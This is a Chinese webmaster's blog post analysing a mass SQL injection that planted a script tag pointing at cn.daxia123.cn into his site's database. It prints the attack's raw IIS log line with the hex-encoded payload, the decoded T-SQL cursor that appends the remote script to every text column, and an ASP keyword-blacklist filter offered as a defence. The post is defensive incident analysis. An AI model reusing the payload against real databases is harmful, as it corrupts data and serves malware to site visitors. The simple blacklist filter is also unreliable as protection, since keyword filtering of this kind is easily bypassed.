数据库被注入daxia123原因及解决办法

简介: 近期,我管理的一个网站频繁被注入木马代码,在百度搜索这段代码,竟然可以搜到2万多的网站被注入了。这里希望大家能够帮忙人肉搜索出这个域名的所有者,进而找到那个坏蛋,揪出来痛打一顿。      查看IIS日志发现如下信息: 2009-01-01 01:27:35 W3SVC599379226 *.

     近期,我管理的一个网站频繁被注入木马代码<script src=http://cn.daxia123.cn/cn.js></script>,在百度搜索这段代码,竟然可以搜到2万多的网站被注入了。这里希望大家能够帮忙人肉搜索出这个域名的所有者,进而找到那个坏蛋,揪出来痛打一顿。

     查看IIS日志发现如下信息:

2009-01-01 01:27:35 W3SVC599379226 *.*.*.*GET reads.asp msgid=2068%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747
970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524
F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.200.141.151 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) http://** 200 0 0

 

     网上搜到211.200.141.151来自韩国首尔,估计是代理的,网上有兄弟把这段代码还原如下:

DECLARE   @T   VARCHAR ( 255 ), @C   VARCHAR ( 255
DECLARE  Table_Cursor  CURSOR   FOR  
SELECT  a.name,b.name  FROM  sysobjects a,syscolumns b 
WHERE  a.id = b.id  AND  a.xtype = ' u '   AND  (b.xtype = 99   OR  b.xtype = 35   OR  b.xtype = 231   OR  b.xtype = 167
OPEN  Table_Cursor 
FETCH   NEXT   FROM  Table_Cursor  INTO   @T , @C  
WHILE ( @@FETCH_STATUS = 0 BEGIN   EXEC ( ' UPDATE [ ' + @T + ' ] SET [ ' + @C + ' ]=RTRIM
(CONVERT(VARCHAR(4000),[
' + @C + ' ]))+ ''  <script 
src=http://cn.daxia123.cn/cn.js> </script>
'''
FETCH   NEXT   FROM  Table_Cursor  INTO   @T , @C   END  
CLOSE  Table_Cursor  DEALLOCATE  Table_Cursor

 

     那断代码虽然被编码过,但是还是可以看到有declare,exec,等SQL关键字,因此用通常的防注代码应该是有效的

<
dim  sql_injdata 
SQL_injdata 
=   " '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare "  
SQL_inj 
=   split (SQL_Injdata, " | "
If  Request.QueryString <> ""   Then  
 
For   Each  SQL_Get In Request.QueryString 
   
For  SQL_Data = 0   To   Ubound (SQL_inj) 
    
if   instr (Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA)) > 0   Then  
      Response.Write 
" <Script Language=javascript>history.back(-1);</Script> "  
      Response.end 
    
end   if  
   
next  
 
Next  
End   If  

If  Request.Form <> ""   Then  
  
For   Each  Sql_Post In Request.Form 
   
For  SQL_Data = 0   To   Ubound (SQL_inj) 
    
if   instr (Request.Form(Sql_Post),Sql_Inj(Sql_DATA)) > 0   Then  
      Response.Write 
" <Script Language=javascript>history.back(-1);</Script> "  
      Response.end 
    
end   if  
   
next  
 
next  
end   if  
%
>

     

     如果还不行的话,有种更简单的方法就是从那段被编码的语句中截取一段作为被过滤的字符集之一,例如:

SQL_injdata  =   " '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|0x4445434C415245204054205641524348415228323535292C404320564152434841522832 "  

 

     还有一种方法是,设置从网址获取的参数的长度来判断是否是注入,因为一般的网站参数都不会那么长。

相关文章
|
7月前
|
Kubernetes 关系型数据库 MySQL
ChaosBlade常见问题之数据库进行故障注入报错ibdata1文件异常如何解决
ChaosBlade 是一个开源的混沌工程实验工具,旨在通过模拟各种常见的硬件、软件、网络、应用等故障,帮助开发者在测试环境中验证系统的容错和自动恢复能力。以下是关于ChaosBlade的一些常见问题合集:
179 1
|
4月前
|
SQL 数据库 数据安全/隐私保护
SQL Server数据库Owner导致事务复制log reader job无法启动的解决办法
【8月更文挑战第14天】解决SQL Server事务复制Log Reader作业因数据库所有者问题无法启动的方法:首先验证数据库所有者是否有效并具足够权限;若非,使用`ALTER AUTHORIZATION`更改为有效登录名。其次,确认Log Reader使用的登录名拥有读取事务日志所需的角色权限。还需检查复制配置是否准确无误,并验证Log Reader代理的连接信息及参数。重启SQL Server Agent服务或手动启动Log Reader作业亦可能解决问题。最后,审查SQL Server错误日志及Windows事件查看器以获取更多线索。
|
1月前
|
数据库连接 Go 数据库
Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性
本文探讨了Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性;防御编程则强调在编码时考虑各种错误情况,确保程序健壮性。文章详细介绍了这两种技术在Go语言中的实现方法及其重要性,旨在提升软件质量和可靠性。
38 1
|
6月前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
6月前
|
SQL 存储 关系型数据库
【SQL注入】 数据库基础
SQL注入 MYSQL数据库结构 数据库操作
31 0
|
SQL Linux 数据库
如何保护 Linux 数据库免受 SQL 注入攻击?
如何保护 Linux 数据库免受 SQL 注入攻击?
163 4
如何保护 Linux 数据库免受 SQL 注入攻击?
|
7月前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结
|
SQL 存储 关系型数据库
WEB应用程序数据库防守篇之预防SQL漏洞注入
主要介绍SQL注入的危害会引发的后果以及如何预防等
451 1
WEB应用程序数据库防守篇之预防SQL漏洞注入
|
7月前
|
Java 数据库连接 数据库
Windows7 64位 连接Access数据库“未发现数据源名称并且未指定默认驱动程序“的解决办法
Windows7 64位 连接Access数据库“未发现数据源名称并且未指定默认驱动程序“的解决办法
1075 0
|
7月前
|
安全 关系型数据库 MySQL
Mysql注入 -- 数据库导出及读文件
Mysql注入 -- 数据库导出及读文件
124 0